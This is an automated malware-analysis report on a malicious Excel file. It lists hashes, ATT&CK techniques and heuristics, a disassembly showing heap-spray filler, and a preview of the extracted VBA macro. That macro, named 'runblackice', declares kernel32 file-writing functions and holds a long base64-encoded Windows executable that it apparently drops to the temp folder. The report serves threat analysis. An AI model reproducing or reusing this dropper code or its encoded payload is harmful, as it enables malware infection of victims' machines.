Office (OLE) malware analysis — malicious · d8e3f8caca4e0cdc

MALICIOUS

Office (OLE)

90.0 KB Created: 2010-01-12 06:03:45 Authoring application: Microsoft Excel First seen: 2015-09-24

MD5: 660d95c2d8df89435950fffca472be30 SHA-1: 8a195b5c97b03ed3e7cd09a62c3c4e20eb38253b SHA-256: d8e3f8caca4e0cdc397d9cd275dbda4ba3f0960e7b1c36b699bba224b933ffae

62 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros. The macros exhibit a heap-spray pattern, a common technique used to prepare memory for shellcode execution. The presence of a large encoded blob within the macros suggests it may be a second-stage payload. The specific purpose of the heap spray and the encoded blob is not fully discernible due to truncation, but it strongly indicates an attempt to execute malicious code.

Heuristics 3

Heap-spray pattern detected high SC_HEAP_SPRAY

Repeated 0x41 (A) bytes found

Disassembly

Attempted x86 opcode disassembly

000110A1  41                inc ecx
000110A2  41                inc ecx
000110A3  41                inc ecx
000110A4  41                inc ecx
000110A5  41                inc ecx
000110A6  41                inc ecx
000110A7  41                inc ecx
000110A8  41                inc ecx
000110A9  41                inc ecx
000110AA  41                inc ecx
000110AB  41                inc ecx
000110AC  41                inc ecx
000110AD  41                inc ecx
000110AE  41                inc ecx
000110AF  41                inc ecx
000110B0  41                inc ecx
000110B1  41                inc ecx
000110B2  41                inc ecx
000110B3  41                inc ecx
000110B4  41                inc ecx
000110B5  41                inc ecx
000110B6  41                inc ecx
000110B7  41                inc ecx
000110B8  41                inc ecx
000110B9  41                inc ecx
000110BA  41                inc ecx
000110BB  41                inc ecx
000110BC  41                inc ecx
000110BD  41                inc ecx
000110BE  41                inc ecx
000110BF  41                inc ecx
000110C0  41                inc ecx
000110C1  41                inc ecx
000110C2  41                inc ecx
000110C3  41                inc ecx
000110C4  41                inc ecx
000110C5  41                inc ecx
000110C6  41                inc ecx
000110C7  41                inc ecx
000110C8  41                inc ecx
000110C9  41                inc ecx
000110CA  41                inc ecx
000110CB  41                inc ecx
000110CC  41                inc ecx
000110CD  41                inc ecx
000110CE  41                inc ecx
000110CF  41                inc ecx
000110D0  41                inc ecx
000110D1  41                inc ecx
000110D2  41                inc ecx
000110D3  41                inc ecx
000110D4  41                inc ecx
000110D5  41                inc ecx
000110D6  41                inc ecx
000110D7  41                inc ecx
000110D8  41                inc ecx
000110D9  41                inc ecx
000110DA  41                inc ecx
000110DB  41                inc ecx
000110DC  41                inc ecx
000110DD  41                inc ecx
000110DE  41                inc ecx
000110DF  41                inc ecx
000110E0  41                inc ecx
000110E1  41                inc ecx
000110E2  41                inc ecx
000110E3  41                inc ecx
000110E4  41                inc ecx
000110E5  41                inc ecx
000110E6  41                inc ecx
000110E7  41                inc ecx
000110E8  41                inc ecx
000110E9  41                inc ecx
000110EA  41                inc ecx
000110EB  41                inc ecx
000110EC  41                inc ecx
000110ED  41                inc ecx
000110EE  41                inc ecx
000110EF  41                inc ecx
000110F0  41                inc ecx
000110F1  41                inc ecx
000110F2  41                inc ecx
000110F3  41                inc ecx
000110F4  41                inc ecx
000110F5  41                inc ecx
000110F6  41                inc ecx
000110F7  41                inc ecx
000110F8  41                inc ecx
000110F9  41                inc ecx
000110FA  41                inc ecx
000110FB  41                inc ecx
000110FC  41                inc ecx
000110FD  41                inc ecx
000110FE  41                inc ecx
000110FF  41                inc ecx
00011100  41                inc ecx

VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13979 bytes
SHA-256: `26a9cfe47ee6d65260b0d826dbf7d6cf58a325796448e0aa0900afd91133261c`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 22 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True '<!!blackice> Private Const base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long Private Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpPathName As String, ByVal lpPrefixString As String, ByVal uUnique As Long, ByVal lpTempFileName As String) As Long Private Sub runblackice() On Error Resume Next filestring = "TVoAAAAAAAAAAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAADgAAAAsAAAAAAAAFQBAAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAUAIAAAIAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADAQQIAhAAAAACwAQBcDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAQAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAAAAAAAAoAAAALABAEGSAAAAAgAAAAAAAAAAAAAAAAAA4AAAwIclBEJCAGGUVaS2gP8Tc/kzyf8TcxYzwP8Tcx+2gEGwEP8TEsBz+nU6quvg" filestring = filestring + "/1MIAvaD2QF1Dv9TBOskrNHodC0TyesYkUjB4Ais/1MEO0P4cwqA/AVzBoP4f3cCQUGVi8W2AFaL9yvw86Re659erZetUP9TEJWLB0B483UD/2MMUFX/UxSr6+4zyUH/ExPJ/xNy+MMC0nUFihZGEtLDS0VSTkVMMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAOAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQBlAAAAaAAAgAAAAAAAAAAAAAAAAAAAAQAECAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAECAAAkAAAAKCwAQCoDAAAAAAAAAAAAABIvQEAFAAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAYAAAAAACADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAz" filestring = filestring + "MwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAzMwAAAACZmWbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzAAzMwCZmfj4+JnM/5n//5nM/5n//5nM/5n//5n//5nM/5n//5nM/5n//5n//5n//5nM/5n//5nM/5n//5n//5nM/5nM/5n//5nM/5n//5nM/5nM/5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5nM/5nM/5n//5nM/5n//5nM/5nM/5n//5n//5nM/5nM/5nM/5n//5nM/5nM/5nM/5nM/2bMzAAzMwCZmfj4+JnM/5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5nM/5n//5n//5nM/5n//5nM/5n/" filestring = filestring + "/5n//5nM/5nM/5nM/5n//5nM/5nM/5nM/5nM/5nM/5nM/2bMzAAzMwCZmfj4+Jn//5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5nM/5nM/5nM/5n//5nM/5n//5n//5nM/5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5n//5nM/5nM/5n//5nM/5nM/5n//5n//5n//5nM/5nM/5nM/5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5nM/5n//5nM/5n//5n//5nM/5n//5nM/5n//5n//5nM/5n//5nM/5n//5n//5n//5n//5n//5nM/5nM/5nM/5nM/5n//5nM/5nM/5nM/5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5n//5n//5n//5nM/5n/" filestring = filestring + "/5nM/5nM/5n//5nM/5nM/5n//5nM/5nM/5n//5nM/5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5nM/5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5nM/5n//5n//5nM/5nM/5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5nM/5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5nM/5n//5nM/5nM/5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5nM/5nM/5n//5nM/5n//5n//5n//5n//5nM/5n//5n//5nM/5nM/5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5nM/5n//5n//5n//5n//5n//5n//5n//5n//5n//5n/" filestring = filestring + "/5n//5nM/5n//5nM/5n//5n//5nM/5nM/5n//5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5n//5nM/5n//5n//5nM/5n//5n//5nM/5n//5n//5n//5nM/5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5n//5n//5nM/5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5nM/5n//5n//5n//5nM/5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5n/" filestring = filestring + "/5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5n//5n//5nM/5n//5n//5n//5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5n//5nM/5nM/5n//5n//5n//2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5nM/5n//5nM/5n//5nM/5n//5n//5n//5nM/5n//5n//5n//5nM/5n//5nM/2bMzAAzMwCZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n/" filestring = filestring + "/5n//5n//5nM/5n//5n//5nM/5n//5n//5n//5nM/5n//2bMzAgICACZmfj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+AAAAAAAAACZmWbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzACZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQAAAAAAAAAAAACZmfD7/5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAA" filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////////////////+AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA4AAf//AAP//4AH///AD////////AAABAAEAICAAAAEAGACoDAAAAQBVHIvsg4EwjUUcic3c5H0Q4HV/CAfI/+kzAQ4Dx0XkQAoH6IxG7CPwBvz9/wIHjU34UWgGBCA9agGPVRRSY1DyQICLRRDmCOv7r+H/URSQqOBz4c9jIBLp32BxEBiDwAF9wQYEUOgwex74xPOHRtSLTT7c2fSm2EFa6wm8eIaDwgGJDN5aWDtgfTLQQJobwRBGtjTPEuo7L2GDKvQDyOwCiX8BZkKIQR7sCNgMzlIM+FHm60W9m7DsRyBq5IDS4gQKhdJ0DbyRASCNxTroahC0jgpNDFG4BuRSZmAoCFDI6QRkwlHWwW26EtfI/1AYpcYRBRnrHIzcwi1Cubq30CQ6yghbem09/OVdScNROYEUoAFoMIiqwBBB4P82FSitjEG4zgpg" filestring = filestring + "YzAFEkFNmAw9YDVqUQSLAYeIUpBQNPMKuv5IYukGzFVm6KhJA3QosHmirgSaxASoiZNlrKpQSQmw7UiQGbQkDIcNaOTjA4qY5UPgBOgfQIeaJKpTAd4PhbZI/01Q6NUVNFDx8RzvGBFdVZhQUqzozmQChe/9CjAUg1AF6UmG3GTC8IJHvISh6FA3yCBDRbz1GUxvuB4yEaS8RD3rEAjpQcqHajU8SBSFlWBPk1LdMnzwkqOnHJCYDGgso43jQBxR6MpIeU+KCEVw6xOSxoGlhUUhCnCZIUjJ2TgeISZQuQOORoSbBd00VmONGGYvavxU5tEo4VERRCBQyg4UGKRMivxSujvA/66thTYqpCrACINl5LtUSS7IOarACeIZyAzMjCFMERKEY0UDoXP8IqyQRUJ8yByjxr0iAkFFzZxb/SFYkJyhKfwfeEcCIfjJJE4BK4pspGT4KM9M+1DkSFpcRFUc1KB8QpHIiEFNoFFEb0SRmPt8IKXIENDkPJHU0DiR" filestring = filestring + "VfwCkUoPcCBC+QfFDG4cYs5ooEYHQtCKInaQNOGlATeKcITiZED/UYoEv1LPiiGsFIUcSGkQoHbfjMB1emOKOqNMOLE9JDXxVQHiUgrKpKYf/HdaemuRDNJyMtQsQlCZMkTcI8xATOERyy6sk9bdCOFRPkHxDEwc1IRD2CHckeBE/byEKU3QkwIB6Cf6lPvJTKSVTCoBSNTXxZxQRC36+SMUc3vdt3JMUklToEcMWMT4J1jEnCdYxIQnWEoZu2gDv/SSTULgWPVGoyqEdlkktEzmnWEAM8DrG+l13ZFUcAUidznrgTqLO5U8nz2dJZsUXSLkAiyFSLZHaPQRomCGhXAlKIO9BrtmCMkGuLV4I85pKJU5u2yhNOuwcpMGhLEWrnU8NWg5y3hM99NFLZVkEwhKMI0gJjNClWyoEulCEBIihXjuV1gEACz4N8huS4eKdZmF+OyOwCgsMEKVSbwh7Atm+DIyNqCQhXP2lEx7iRz9N8Ij9EJEEhAc/YQhfnSu" filestring = filestring + "QB1NbI4UlRUIUuhZzdczsp6RElYrTLUh7Arj94N2RXFD0vQpLoTMRSkPiZiRQ19ipsTwRFpDgEEG4A+VJsCItAbrBMYKVgH5lyR/JDbeSnOA4FCFQ4VYXJmaJFErPUs0RXTm2lMahYg3aVaNQiNRzlkohZA6CVXYgeISynALSWbNyIjkjCiQhRCUsmQZhAkJvHAGyUn2z6UsGlVPBDEWlUS/Iy6RKWJocL4+/QwUhUQVaQ6f8ngZRA8hKvCyA4q6Os8RJAnZiAxEh4ja9XYjYAORfE0niAGp4MuarmZIuLFYjTHIShCFyEIQjchKRJwhlXxiAdDFEGX17OZFAjzXGo0gIymgxZOSuDIIIBaUACG48J4Ck2mRdFxLJiUUYMAPhNGtvqHSyMh1IfDWEAJo0Mt0HvEldfQasj6tS+xssyRY/vHo3IYhJP4J7W9ls5CqkMe0o7bohUhcHdKCuY2JCkW85NxRJ0oov+SMnuNJQQOFIwIgQUOVIFFDhUooy9yE" filestring = filestring + "Q+Ah5JHoieyZg3RpYJIEDFnzjxxknFzLw9Qy4rDMeCUEEx6DCQHoFfOeDYRd7VejisBpQs1CURsSxCx8jvELI0S8QsiE7xHZ9RAIjYRDURGb8qGVeAgCpiGU9WEl6WsIZoRFYf1uQgV7KUH9idGZ2Zfhp+mlLf+UPAJEVle5EKPmvhwB1Y19vPOlpCmIGXwPDUD9CXzMAIpEBbzrArAVPV9eNck0UdwZDzoMMCRJhr56EhALxvTkzJAV+83weGN2mA3JJvhThzASg8AD30rzPBDL6cs5t/EPje58+ZlUAnkMOU2WgeEhPMHp/YPkP1En6F+sAq4PM77QjuAVfOQlHXpzBjboAllMVggvHwQLRYPgPwqILjFZ3BZSUwg0IQREECgGjiH6/sTsMhA5AhRII9dRyEfV2AXcweKkJgtnwqLss+EQZJAm6AoYEBL8sT4wS4P0BN2YoP1H75vE/HnwJMEDEJTpbGNA+DuaEIL6HQEqMRwr/+RG2IIk0BMkDtQr" filestring = filestring + "502cZgGD/lzzANh9F95U8I+KEYglVAVjIzagwDoMN+vYKOk8M1Ysq02EKIjw1aoyt+heK/z9MIlCAQfS2EN+M1JvOKLQF5TCOoKIRc9yh+o9zYeKDpGMAnQpfiM17soCoFGMWDbOhOsZ8gQDlDwI8gQ/yUCixlkRJ5SnRBBoWGAOkrBe6C7ka5liaHCJEcCN6OOmEULMXwXe6NIxEfwUTDPBjiNUFZGwxBwWcp84qBaOR44ReBfIfeKUFzlsGZNcGMtjxPT9IhgJcM7xVg6oSryITwzIOviKaKxaxCN3CWlQlUQrqKEq/DI4aGxwio8y8oe0RP1RexDxasJovBe5ruBIEcc0hfBJBUjrEsQZBQyDrG+l13ZFUcAUidznrgTqLO5U8nz2dJZsUXSLkAiyFSLZHaPQRomCGhXAlKIO9BrtmCMkGuLV4I85pKJU5u2yhNOuwcpMGhLEWrnU8NWg5y3hM99NFLZVkEwhKMI0gJjNClWyoEulCEBIihXjuV1gEACz4N8huS4eKdZmF+OyOwCgsMEKVSbwh7Atm+DIyNqCQhXP2lEx7iRz9N8Ij9EJEEhAc/YQhfnSu" filestring = filestring + "QB1NbI4UlRUIUuhZzdczsp6RElYrTLUh7Arj94N2RXFD0vQpLoTMRSkPiZiRQ19ipsTwRFpDgEEG4A+VJsCItAbrBMYKVgH5lyR/JDbeSnOA4FCFQ4VYXJmaJFErPUs0RXTm2lMahYg3aVaNQiNRzlkohZA6CVXYgeISynALSWbNyIjkjCiQhRCUsmQZhAkJvHAGyUn2z6UsGlVPBDEWlUS/Iy6RKWJocL4+/QwUhUQVaQ6f8ngZRA8hKvCyA4q6Os8RJAnZiAxEh4ja9XYjYAORfE0niAGp4MuarmZIuLFYjTHIShCFyEIQjchKRJwhlXxiAdDFEGX17OZFAjzXGo0gIymgxZOSuDIIIBaUACG48J4Ck2mRdFxLJiUUYMAPhNGtvqHSyMh1IfDWEAJo0Mt0HvEldfQasj6tS+xssyRY/vHo3IYhJP4J7W9ls5CqkMe0o7bohUhcHdKCuY2JCkW85NxRJ0oov+SMnuNJQQOFIwIgQUOVIFFDhUooy9yE" filestring = filestring + "Q+Ah5JHoieyZg3RpYJIEDFnzjxxknFzLw9Qy4rDMeCUEEx6DCQHoFfOeDYRd7VejisBpQs1CURsSxCx8jvELI0S8QsiE7xHZ9RAIjYRDURGb8qGVeAgCpiGU9WEl6WsIZoRFYf1uQgV7KUH9idGZ2Zfhp+mlLf+UPAJEVle5EKPmvhwB1Y19vPOlpCmIGXwPDUD9CXzMAIpEBbzrArAVPV9eNck0UdwZDzoMMCRJhr56EhALxvTkzJAV+83weGN2mA3JJvhThzASg8AD30rzPBDL6cs5t/EPje58+ZlUAnkMOU2WgeEhPMHp/YPkP1En6F+sAq4PM77QjuAVfOQlHXpzBjboAllMVggvHwQLRYPgPwqILjFZ3BZSUwg0IQREECgGjiH6/sTsMhA5AhRII9dRyEfV2AXcweKkJgtnwqLss+EQZJAm6AoYEBL8sT4wS4P0BN2YoP1H75vE/HnwJMEDEJTpbGNA+DuaEIL6HQEqMRwr/+RG2IIk0BMkDtQr" filestring = filestring + "502cZgGD/lzzANh9F95U8I+KEYglVAVjIzagwDoMN+vYKOk8M1Ysq02EKIjw1aoyt+heK/z9MIlCAQfS2EN+M1JvOKLQF5TCOoKIRc9yh+o9zYeKDpGMAnQpfiM17soCoFGMWDbOhOsZ8gQDlDwI8gQ/yUCixlkRJ5SnRBBoWGAOkrBe6C7ka5liaHCJEcCN6OOmEULMXwXe6NIxEfwUTDPBjiNUFZGwxBwWcp84qBaOR44ReBfIfeKUFzlsGZNcGMtjxPT9IhgJcM7xVg6oSryITwzIOviKaKxaxCN3CWlQlUQrqKEq/DI4aGxwio8y8oe0RP1RexDxasJovBe5ruBIEcc0hfBJBUjrEsQZBQyPj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+AAAAAAAAACZmWbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzGbMzACZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQAAAAAAAAAAAACZmfD7/5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAA" filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmfj4+Jn//5n//5n//5n//5n//5n//5n//5n//wCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQCZmQgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////////////////+AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA4AAf//AAP//4AH///AD////////AAABAAEAICAAAAEAGACoDAAAAQBVHIvsg4EwjUUcic3c5H0Q4HV/CAfI/+kzAQ4Dx0XkQAoH6IxG7CPwBvz9/wIHjU34UWgGBCA9agGPVRRSY1DyQICLRRDmCOv7r+H/URSQqOBz4c9jIBLp32BxEBiDwAF9wQYEUOgwex74xPOHRtSLTT7c2fSm2EFa6wm8eIaDwgGJDN5aWDtgfTLQQJobwRBGtjTPEuo7L2GDKvQDyOwCiX8BZkKIQR7sCNgMzlIM+FHm60W9m7DsRyBq5IDS4gQKhdJ0DbyRASCNxTroahC0jgpNDFG4BuRSZmAoCFDI6QRkwlHWwW26EtfI/1AYpcYRBRnrHIzcwi1Cubq30CQ6yghbem09/OVdScNROYEUoAFoMIiqwBBB4P82FSitjEG4zgpg" filestring = filestring + "YzAFEkFNmAw9YDVqUQSLAYeIUpBQNPMKuv5IYukGzFVm6KhJA3QosHmirgSaxASoiZNlrKpQSQmw7UiQGbQkDIcNaOTjA4qY5UPgBOgfQIeaJKpTAd4PhbZI/01Q6NUVNFDx8RzvGBFdVZhQUqzozmQChe/9CjAUg1AF6UmG3GTC8IJHvISh6FA3yCBDRbz1GUxvuB4yEaS8RD3rEAjpQcqHajU8SBSFlWBPk1LdMnzwkqOnHJCYDGgso43jQBxR6MpIeU+KCEVw6xOSxoGlhUUhCnCZIUjJ2TgeISZQuQOORoSbBd00VmONGGYvavxU5tEo4VERRCBQyg4UGKRMivxSujvA/66thTYqpCrACINl5LtUSS7IOarACeIZyAzMjCFMERKEY0UDoXP8IqyQRUJ8yByjxr0iAkFFzZxb/SFYkJyhKfwfeEcCIfjJJE4BK4pspGT4KM9M+1DkSFpcRFUc1KB8QpHIiEFNoFFEb0SRmPt8IKXIENDkPJHU0DiR" Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.